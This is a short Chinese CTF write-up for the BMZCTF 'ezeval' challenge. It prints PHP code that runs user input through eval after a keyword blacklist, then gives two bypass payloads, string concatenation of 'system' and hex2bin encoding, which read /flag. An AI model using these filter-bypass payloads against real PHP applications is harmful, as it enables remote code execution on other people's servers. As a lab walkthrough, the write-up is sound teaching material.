zoukankan      html  css  js  c++  java
  • BMZCTF WEB_ezeval

    WEB_ezeval
    题目简介:
    打开后是一段php代码,进行代码审计:

         <?php
        highlight_file(__FILE__);
        $cmd=$_POST['cmd'];
        $cmd=htmlspecialchars($cmd);
        $black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
        $cmd = str_ireplace($black_list,"BMZCTF",$cmd);
        eval($cmd);
         
        ?> 

    大致思路是:我们要将需要POST传入的命令执行语句放进$cmd中,并且绕过这个过滤str_ireplace()函数。
    相关知识:
    htmlspecialchars() 函数:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
    str_ireplace() 函数:str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
    eval()函数:把字符串作为PHP代码执行。
    解法:
    一、拼接字符串绕过
    cmd=(s.y.s.t.e.m)('cat /flag');  //.在php中有连接字符串的作用,所以用来拼接字符串
    二、进制编码绕过
    cmd=hex2bin('73797374656d')('cat /flag');
    PHP hex2bin() 函数:把十六进制值转换为 ASCII 字符.
    注意分号闭合语句

  • 相关阅读:
    swift 加载 storyboard 里的UIViewController
    ios 下创建,删除文件夹的方法
    iOS ARC模式 内存管理
    UISwitch
    建立 svn 服务端
    去除NSString里面的空格
    正则表达式验证邮箱的合法性
    memcached 的安装与使用
    windows2008 IIS下配置FTP服务
    lua语法备忘录
  • 原文地址:https://www.cnblogs.com/akger/p/15233567.html
Copyright © 2011-2022 走看看